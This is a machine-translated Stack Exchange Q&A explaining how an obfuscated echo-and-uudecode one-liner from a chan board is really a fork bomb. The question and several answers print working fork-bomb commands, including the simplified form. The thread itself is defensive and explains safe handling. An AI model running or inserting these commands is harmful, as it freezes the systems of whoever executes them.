Як і чому цей рядок тексту - це вилка бомба?


132

Знайдено на довільній дошці чан:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Якимсь чином це виконує, це призводить до нескінченного нерестового процесу, який розгортається і розмелює верстат. Я бачу щось про "су", яке намагається бути страченим багато разів.

.. що дивно, тому що я просто очікував виведення тексту, а не виконання нічого.

Запуск цього тексту через онлайн-декодер просто дає мені партію двійкових шрифтів:

результат удекоду

Що насправді робить цей безлад тексту і чи є спосіб його "безпечно" переглянути?


Чому "су" виконується багато разів?
Brent Washburne

34
Порада: не запускайте код із випадкових дощок чан і будьте вдячні, що це була просто бомба з вилами.
rr-

21
Хе. На щастя, я був на знімку VM, зробленому з явною метою розігруватись з, можливо, ворожим сміттям, як це.
Mikey TK


1
Відар Холен, автор shellcheck.net, написав про це повідомлення в блозі, в якому він стверджує, що є автором цієї вилкової бомби та дає деяку довідкову інформацію.
Socowi

Відповіді:


194

Спочатку розглянемо всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Він містить рядок з подвійним котируванням, який перегукується uudecode. Але, зверніть увагу , що в рядку в подвійних лапках є зворотній лапки рядок. Цей рядок виконується . Рядок:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Якщо ми подивимось на те, що в ньому, ми побачимо три команди:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Виконуючи розширення дужок у середній команді, ми маємо:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Перший рядок намагається виконати команду дурниць у фоновому режимі. Це неважливо.

Другий рядок важливий: він визначає функцію, rяка при запуску запускає дві копії себе. Кожна з цих копій, звичайно, випустила б ще два екземпляри. І так далі.

Третя лінія проходить r, починаючи вилкову бомбу.

Решта коду, що знаходиться поза рядком, цитованим у зворотному списку, - це просто нісенітниця для придушення.

Як безпечно запустити команду

Цей код можна запустити безпечно, якщо встановити обмеження на рівні вкладення функції. Це можна зробити за допомогою FUNCNESTзмінної bash . Тут ми встановлюємо це, 2і це зупиняє рекурсію:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Повідомлення про помилки, наведені вище, показують, що (a) нісенітницькі команди rYWdlі Y29jїх не знайдено, (b) вилка бомба неодноразово зупиняється FUNCNEST, і (c) вихід echoне починається з beginі, отже, не є дійсним введенням для uudecode.

Вилка бомба в найпростішому вигляді

Як виглядала б вилка бомба, якби ми зняли затемнення? Як підказують njzk2 та gerrit, це виглядатиме так:

echo "`r()(r&r);r`"

Ми можемо ще більше спростити це:

r()(r&r); r

Він складається з двох тверджень: один визначає функцію fork-bomb, rа другий виконує r.

Весь інший код, у тому числі труба до uudecode, був лише для затемнення та неправильного спрямування.

Первісна форма мала ще один шар помилок

ОП надало посилання на обговорення ради, на якій цей код з'явився. Як представлено там, код виглядав так:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Помітьте один із перших коментарів щодо цього коду:

Я за це впав. Скопіював лише ту частину, яка перегукується та розшифровує, але все-таки отримала розгорнуту форму

У формі на дошці chann можна було б наївно думати, що проблемою буде evalзаява, що працює на виході uudecode. Це призвело б до думки, що видалення evalвирішить проблему. Як ми бачили вище, це хибно і небезпечно.


6
Ганебний! Я ніколи не думав розглядати поглинання / розширення оболонки в середині ехо-рядка.
Майкі ТК

31
Я думаю, було б добре зазначити, що uudecodeтут абсолютно не має значення. На якусь мить я подумав, що uudecodeвиконує інтерполяцію рядків із цитатами, котрий би зробив це принципово небезпечним, але вилка бомба трапляється до того, як взагалі починається uudecode.
Герріт

28
... і це , панове, пане, чому безпека в скриптах оболонок настільки проклята. Навіть абсолютно нешкідливі на вигляд речі можуть убити вас. (Уявіть, якби це був ввід користувача звідкись…)
MathematicalOrchid

22
@MathematicalOrchid Насправді потрібні нетривіальні зусилля, щоб викликати реквітовані речі у введенні користувача в сценарій оболонки для виконання. І якщо ви побудова сценарію оболонки з призначеного для користувача введення ви повинні знати краще , ніж поставити його в подвійних лапках.
Випадково832

5
@ Njzk2 Ви все ще потрібен &там: echo "`r()(r&r);r`".
Герріт

10

Щоб відповісти на другу частину вашого питання:

... чи є спосіб "безпечно" переглянути його?

Щоб знешкодити цей рядок, замініть зовнішні подвійні лапки на одиничні лапки та уникайте одиничних лапок, що виникають всередині рядка. Так, оболонка не виконує жодного коду, і ви фактично передаєте все прямо uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Інші альтернативи зазначаються в коментарях:

kasperd запропонував :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Джейкоб Кралл запропонував скористатися текстовим редактором, вставити вміст, а потім передати цей файл удекоду.


5
Як варіант: Введіть uudecodeу командному рядку. Натисніть Enter. Скопіюйте та вставте рядок, який потрібно розшифрувати.
kasperd

3
Інша альтернатива: використовуйте текстовий редактор, щоб зберегти вміст у файлі. Відкрийте цей файл за допомогою uudecode.
Джейкоб Кралл

Завдяки обом я зазначив ці варіанти у відповіді.
Герріт

1
Переконайтеся, що ви переконайтеся, що рядок не такий, як echo "foo`die`bar'`die`'baz"спочатку! Тобто, якщо в ньому є які-небудь 's, то заміни лапок на одиничні лапки буде недостатньо.
wchargin

5

З першого погляду ви можете подумати, що вихід у оболонку ніколи не буде виконаний . Це все ще вірно . Проблема вже у введенні . Основна хитрість тут - те, що програмісти називають пріоритет оператора . Це наказ, який оболонка намагається обробити ваш вхід:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Складіть рядок, виконавши всі команди зворотних посилань всередині нього.
  2. Зазвичай невідома команда, яка могла б викликати деякий вихід, наприклад, якщо 'rYWdl' не є помилковим помилкою, ви можете використовувати команду-не знайдено для пошуку пакета, який містить його ... (залежить від системи)
  3. Виконує 2. на задньому плані. Ви ніколи не побачите вихід.
  4. Визначте функцію вилки бомби.
  5. Розділювач команд.
  6. Запустіть вилкову бомбу.
  7. Вставте результат 6. у Рядок. (Ми ніколи сюди не приходимо.)

Помилка полягає у думці, що це echoбула б перша команда, яку слід виконати, uudecodeдруга. Обидва вони ніколи не дістануться.

Висновок: подвійні лапки завжди небезпечні на оболонці.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.